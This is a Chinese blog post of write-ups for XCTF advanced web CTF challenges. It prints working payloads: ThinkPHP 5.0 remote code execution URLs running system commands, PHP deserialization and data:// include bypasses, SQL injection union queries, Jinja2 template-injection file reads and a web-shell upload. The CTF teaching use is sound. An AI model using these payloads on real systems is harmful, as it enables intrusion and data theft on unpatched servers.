攻防世界web高手进阶区（一）

最新推荐文章于 2023-11-14 20:54:19 发布
最新推荐文章于 2023-11-14 20:54:19 发布
阅读量1.8k 收藏 5
点赞数 1
分类专栏： CTF 文章标签： 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44866139/article/details/104452244
版权

随便吧啦几句：好久没有更博了，最近有点偷懒，写博客还是蛮快乐滴，保持一直努力的状态真的好难，，，，但是嘞目标还是要有的。

Training-WWW-Robots

在这里插入图片描述

baby_web

因为提示了初始页面是哪个，所以查看111.198.29.45:39340/index.php
在这里插入图片描述直接给跳转到了http://111.198.29.45:39340/1.php
在这里插入图片描述
抓包试试
在这里插入图片描述发现了flag
在这里插入图片描述

Web_php_unserialize

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

大致思路见代码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
// if (isset($_GET['var'])) { 
//     $var = base64_decode($_GET['var']); 
//     if (preg_match('/[oc]:\d+:/i', $var)) { 
//         die('stop hacking!'); 
//     } else {
//         @unserialize($var); 
//     } 
// } else { 
//     highlight_file("index.php"); 
// } 
$var=new Demo('fl4g.php');//创建序列化对象根据提示the secret is in the fl4g.php
$var1=serialize($var);
echo $var1.'<br>';//O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$var2=str_replace('O:4','O:+4', $var1);//绕过preg_match
$var2=str_replace(':1:', ':2:', $var2);//绕过__wakeup()
var_dump($var2.'<br>');//string(53) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
var_dump(base64_encode($var2));//" string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" 
?>

tips:
用+4替换成4是为了绕过preg_match的正则表达式

同样的把2替换成1是利用了CVE-2016-7124的漏洞，即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

payload:

http://111.198.29.45:47830/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

php_rce

在这里插入图片描述ThinkPHP5.0版本存在远程代码执行漏洞，先学习vulhub复现这个漏洞的过程（之后会推出博客，敬请期待哦）
百度一下poc一抓一大把,再回到CTF的这道题，应该考的就是这个命令执行的漏洞：
payload:

http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

在这里插入图片描述拉到页面底部，看到ThinkPHP的版本是5.0.20：
在这里插入图片描述也可以执行其他命令，如whoami:

http://111.198.29.45:39596/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述不过这两条payload稍微有点区别
在这里插入图片描述为了找到flag所在的文件，执行ls命令查看当前目录

http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

在这里插入图片描述依次打开这几个文件，发现没有找到flag。。

看大佬的博客，逐级查看上级目录，最终看到一个名为flag的文件：

http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20../../../

在这里插入图片描述用cat命令查看flag中的内容

`http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20../../../flag`

或者这样也可以：

http://111.198.29.45:39596/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

在这里插入图片描述

Web_php_include

在这里插入图片描述很短的一段代码，page和hello都是通过get方式传入进来，page中带有php://的都会被替换成空，这里可以有几种绕过姿势：
姿势一：大小写绕过
由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input
在这里插入图片描述在这里插入图片描述在这里插入图片描述
姿势二：data://伪协议执行命令利用
既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议
data://text/plain;base64,xxxx(base64编码后的数据)
payload:
PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==为base64加密过后得到的字符串

http://111.198.29.45:54085/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

在这里插入图片描述

warmup

在这里插入图片描述在这里插入图片描述 注释中提到source.php，查看得到源代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(//mb_substr() 函数返回字符串的一部分，之前我们学过 substr() 函数，它只针对英文字符，如果要分割的中文文字则需要使用 mb_substr()。
                $page,
                0,
                mb_strpos($page . '?', '?')//mb_strpos()函数返回被查找的字符串在别一字符串中首次出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

在这里插入图片描述在这里插入图片描述绕过第一个函数检查：
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];
page参数包含有这两个文件中的任意一个
http://111.198.29.45:59377/?file=hint.php

绕过第二个函数检查：向php页面中传入参数
http://111.198.29.45:59377/?file=hint.php？

绕过第三个函数检查：两次url编码
http://111.198.29.45:59377/?file=hint.php%253f
之后访问提示文件

`http://111.198.29.45:59377/?file=hint.php%253f/../../../../../ffffllllaaaagggg`

tips:include函数有这么一个神奇的功能：以字符‘/’分隔（而且不计个数），若是在前面的字符串所代表的文件无法被PHP找到，则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。

这里的ffffllllaaaagggg是在hint.php中发现的，显然flag在这个文件里。其实文件名提示了我们要使用四层目录，这里比较坑。

Hacker News

在这里插入图片描述输入1’,发现存在sql注入
在这里插入图片描述输入1’ or 1=1#发现注入出来两条新的纪录
在这里插入图片描述尝试使用联合查询，但是首先得知道一共有多少列，1’ union select 1,2,3#时才正确，说明有三列
在这里插入图片描述也可以用order by判断，当输入1’ order by 4#时返回异常说明一共有三列
在这里插入图片描述接下来爆库,1’ union select 1,2,database()#
在这里插入图片描述爆表,1’ union select 1,2,table_name from information_schema.tables where table_schema=“news”#
在这里插入图片描述爆字段名,1’ union select 1,2,column_name from information_schema.columns where table_name=“secret_table” #，或者再加上colume_type查看数据类型
在这里插入图片描述在这里插入图片描述
查询表，1’ union select 1,id,fl4g from secret_table#
在这里插入图片描述

NaNNaNNaNNaN-Batman

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< οnclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());eval(_)</script>

是一个html文件，修改文件名后缀用浏览器打开
在这里插入图片描述这个乱码问题不知如何解决，于是查看了大佬的博客，eval函数执行了_变量中的内容也就是’ '中的内容，但是，要注意的是，它并没有执行$()函数，仅仅执行了字符串而已（从而导致乱码），因而页面html页面没有任何显示，只显示了input标签的内容,把eval改为alert，让程序弹框，得到了源码的非乱码形式：

function $(){
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
	var t=["fl","s_a","i","e}"];
	var n=["a","_h0l","n"];
	var r=["g{","e","_0"];
	var i=["it'","_","n"];
	var s=[t,n,r,i];
	for(var o=0;o<13;++o){
		document.write(s[o%4][0]);
		s[o%4].splice(0,1);
		}
	}
}
document.write('<input id="c"><button οnclick=$()>Ok</button>');
delete _

审计代码要满足关键变量e的正则条件

^表示开头一定要匹配到be0f23，$表示结尾一定要匹配到e98aa,其它的只要匹配到就行，没有位置要求，因此构造e=be0f23233acc7be9e98aa,发现得不到flag,仔细观察原来还有一个坑，就是每一段待匹配的字符串末几位是另一个字符串的开头几位，于是换一种构造方法：

e=be0f233ac7be98aa
在这里插入图片描述神奇的是，直接将下面代码复制到控制台执行也能得到flag：

var t=["fl","s_a","i","e}"];
	var n=["a","_h0l","n"];
	var r=["g{","e","_0"];
	var i=["it'","_","n"];
	var s=[t,n,r,i];
	for(var o=0;o<13;++o){
		document.write(s[o%4][0]);
		s[o%4].splice(0,1);
		}

在这里插入图片描述

PHP2

在这里插入图片描述anthenticate是证实的意思
用御剑扫描一下
在这里插入图片描述没什么发现，看大佬的博客，原来存在代码泄露，大佬就是大佬我可想不出

.phps后缀释义： phps文件就是php的源代码文件。
通常用于提供给用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替

在这里插入图片描述审计一通代码

not allowed!
"); exit(); } 
$_GET[id] = urldecode($_GET[id]); 
if($_GET[id] == "admin") { 
echo "Access granted!"; 
echo "Key: xxxxxxx"; 
} 
?> 
Can you anthenticate to this website?

这段代码还是残缺了一些东西，查看源代码
在这里插入图片描述

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

意思就是要让id不等于admin,然后url解码后等于admin
因此构造/?id=%2561dmin,%25通过url栏变成%，%61通过urldecode变成a
在这里插入图片描述

unserialize3

在这里插入图片描述

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

根据题目提示，对反序列化漏洞进行利用

<?php
	class xctf{
		public $flag = '111';
		public function __wakeup(){
		exit('bad requests');
	}
}
$c = new xctf();
print(serialize($c));
?>

输出序列化后的xctf对象
在这里插入图片描述大括号前面的1便是属性变量的个数，只需对其进行更改便可以绕过__wakeup()，使exit函数不被执行,原因如下：

__wakeup()执行漏洞：一个字符串或对象被序列化后，如果其属性被修改，则不会执行__wakeup()函数，这也是一个绕过点。

在这里插入图片描述

upload1

在这里插入图片描述查看页面源代码：

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}

ext = name.replace(/^.+./,’’)删除文件的名称，只能上传jpg和png文件，如果不是就禁用按钮并弹窗报错，先上传一个正常的图片文件看看
在这里插入图片描述在这里插入图片描述可以正常访问上传的图片
在这里插入图片描述upload文件访问不了
在这里插入图片描述IP伪造一下，依然没法访问
在这里插入图片描述于是开始上传一句话木马，要想成功上传首先得绕过前端的检测
在这里插入图片描述先把要上传的php文件后缀名改成jpg,之后抓包拦截再改回来
在这里插入图片描述上传成功，之后用中国菜刀连接
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Web_python_template_injection

在这里插入图片描述python模板注入，由于之前没有接触过，看了一篇博客：从零学习flask模板注入，写得比较详细

首先，判断python模板注入,7*7变成49了,应该存在模板注入
在这里插入图片描述之后构造payload探测，payload有很多种但基本思路相似

{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述

__class__.__mro__[2].__subclasses__([71].__init__.__globals__['os'].listdir('.')}}

在这里插入图片描述

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

在这里插入图片描述

一只小白来了
关注
  • 1
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
攻防世界web进阶区刷题记录(1)
bmth666的博客
03-27 4651
文章目录webbaby_webTraining-WWW-Robotsphp_rceWeb_php_include方法1方法2方法3warmupNewsCenter web baby_web 提示是：想想初始页面是哪个 进入是一个hello world，然后就没有了，由于提示试试抓包，得到flag Training-WWW-Robots 由于提示我们就查看robots.txt 获得flag p...
攻防世界PHP2详细解答
m0_74047686的博客
03-13 4417
1.后缀名为.phps的文件：phps即php source，phps文件就是php的源代码文件，通常用于提供给用户查看php代码，因为用户无法通过web浏览器直接查看到php文件的内容，所以需要用phps文件代替2.在传入参数时，浏览器会对非ASCII编码进行一次urlencode，结果在代码执行时，相当于id还是admin，所以我们在传参时需要进行两次URL编码3.在URL编码中， "%" 符号是一个特殊字符，它被用来表示接下来的两个字符是一个ASCII值的十六进制表示。
[转]www-authenticate认证过程浅析
热门推荐
maoliran的博客
07-06 2万+
一、www-authenticate简介www-authenticate是早期的一种简单的，有效的用户身份认证技术。 很多网站验证都采用这种简单的验证方式来完成对客户端请求的数据的合法性进行验证。尤其在嵌入式领域中，此方法使用较多。 缺点：这种认证方式在传输过程中是明码传输的，采用的用户名密码加密方式为BASE-64，其解码过程非常简单，网络上很容易搜索到编解码的源码。采用这种认证方式对于普通用
实验室任务三
最新发布
doubirui的博客
11-14 208
a=0+任意字母。
【攻防世界-Web进阶篇-004PHP2】
gyy990526的博客
03-14 2039
解：打开靶机出现一句话，Can you anthenticate to this website?你能浏览这个网站么 正常思路就是F12看看有没有什么提示，发现没有，那就进一下index.php试一试还是没有变化，就算有变化可能也是被藏起来了，那就试试有没有源代码.phps文件，发现有源代码，接下来就是审计环节了。 如果id严格等于admin就会提示你不允许登录，也就是?id=admin 下面是对id的一次解码后再对其进行与admin的比较，那咱们也就是需要对admin进行一次加密，但值.
攻防世界—-（web进阶）FlatScience–WP
12-14
在这个“攻防世界—-（web进阶）FlatScience–WP”的挑战中，我们需要解决一个Web安全相关的谜题。这个谜题涉及到多个技术点，包括Web应用漏洞利用、数据库注入、PDF文件处理以及哈希算法的应用。 首先，我们注意到...
攻防世界Wire1杂项
11-20
攻防世界Wire1杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127951997
攻防世界流量分析2杂项
11-20
攻防世界流量分析2杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127953659
攻防世界杂项m0-01
11-13
攻防世界杂项m0_01，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127836871
攻防世界杂项津门杯2021-m1
11-14
攻防世界杂项津门杯2021-m1，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127840757
Web_python_flask_sql_injection（攻防世界web）
weixin_43610673的博客
07-21 1145
目录/index路由/login路由/register路由/edit_profile路由 主要功能就是登陆注册，修改个人信息，能留言 然后可以关注别人 下载附件审计，先看路由 route.py /index路由 不存在过滤 关键是结果直接回显 追踪到Others.py的Add函数 a’,‘1’,‘2020-7-20’),(Null,(select database()),‘1’,‘2020-7-20’)# 最终Payload： a’,‘1’,‘2020-7-20’),(Null,(select fla
神经网络调参技巧：warmup策略
炼丹笔记
03-12 3090
有一些论文对warmup进行了讨论，使用 SGD 训练神经网络时，在初始使用较大学习率而后期改为较小学习率在各种任务场景下都是一种广为使用的做法，在实践中效果好且最近也有若干文章尝试对其进行了理论解释。例如《On Layer Normalization in the Transformer Architecture》等，论文中作者发现Post-LN Transformer在训练的初始阶段，输出层附...
攻防世界-warmup详解
Mr_helloword的博客
08-11 6913
warmup 进入题目后只有一个图片，我们查看源代码，发现源码信息; 查看source.php <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) //check函数检查传入的page是否在白名单里 { $whitelist = ["source"=>"source.php","
训练策略介绍
henyaoyuancc的博客
02-11 1959
训练策略1 学习率1.1 余弦退火1.2 warm up 1 学习率 1.1 余弦退火 训练时当越来越接近Loss值的全局最小值时，学习率应该变得更小来使得模型尽可能接近这一点，而余弦退火（Cosine annealing）可以通过余弦函数来降低学习率。余弦函数中随着x的增加余弦值首先缓慢下降，然后加速下降，再次缓慢下降。这种下降模式能和学习率配合，以一种十分有效的计算方式来产生很好的效果 简单的单步长余弦退火，pytorch中cawb_steps 为 [] 多 step 重启动，训练时陷入局部最小之后，
神经网络中学习率 warmup 策略为什么有效？学习率应该怎么变化会比较好？
简单记录生活、学习
07-11 1万+
使用 SGD 训练神经网络时，在初始使用较大学习率而后期切换为较小学习率是一种广为使用的做法，在实践中效果好且最近也有若干文章尝试对其进行了理论解释。 而 warmup 策略则与上述 scheme 有些矛盾。warmup 需要在训练最初使用较小的学习率来启动，并很快切换到大学习率而后进行常见的 decay。那么最开始的这一步 warmup 为什么有效呢？它的本质含义是什么，是否有相关的理论解释？进一步的，能否通过良好的初始化或其他方法来代替 warmup 呢？ 1.直观理解就是最开始的时候，loss
攻防世界-web高手进阶篇-warmup
qq_42016346的博客
02-06 1万+
打开题目链接后只有一个滑稽??（那就看看它里面有啥吧） 想啥呢，是审查源码啦 可以看到有注释source.php，访问后可以看到其源码 又发现一个hint.php文件，先访问再说 提示我们flag在ffffllllaaaagggg里面，此时题目已经完成一半啦 接着看回source.php源码 可以看到最后的include 是可以动态构造参数的，那应该就是解题关键了 不...
一个好用的基于opencv的工具箱——imutils
玄云飘风的博客
10-18 9444
pip主页：https://pypi.org/project/imutils/ github主页：https://github.com/jrosebr1/imutils 功能包括： 1.最简单的图像变换 bridge = cv2.imread(&amp;quot;../demo_images/bridge.jpg&amp;quot;) cactus = cv2.imread(&amp;quot;../demo_images/cactus.jpg&amp;quot;) ...
攻防世界 —— Web高手进阶区1题（baby_web）题解
Catherine_qingzhu的博客
04-05 1133
解题过程 题目已经提示FLAG在index.php或index.html中了 所以就在浏览器的地址栏中试，结果发现 ...\index.html资源不存在 ...\index.php又会跳转到1.php 这就很迷，然后按F12键调试，重新在地址栏中输入...\index.php 看到Network中是介个样子 index.php返回的状态码是302，我们点击index.php看看这...
攻防世界WEB高手进阶之python_template_injection
uihijio的博客
05-18 435
打开网站是写着以下 然后测试以下{{1+1}}被执行了 然后测试{{’’.class.mro[2].subclasses()[71].init.globals[‘os’].listdir(’.’)}}发现有一个flag 使用{{’’.class.mro[2].subclasses()40.read()}}打开
攻防世界web fileclude
07-27
攻防世界中的文件包含漏洞（File Inclusion Vulnerability）是一种常见的web安全漏洞。它主要出现在web应用程序中，当应用程序动态包含用户可控制的文件时，如果没有正确过滤和验证用户输入，攻击者可以利用这个漏洞...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值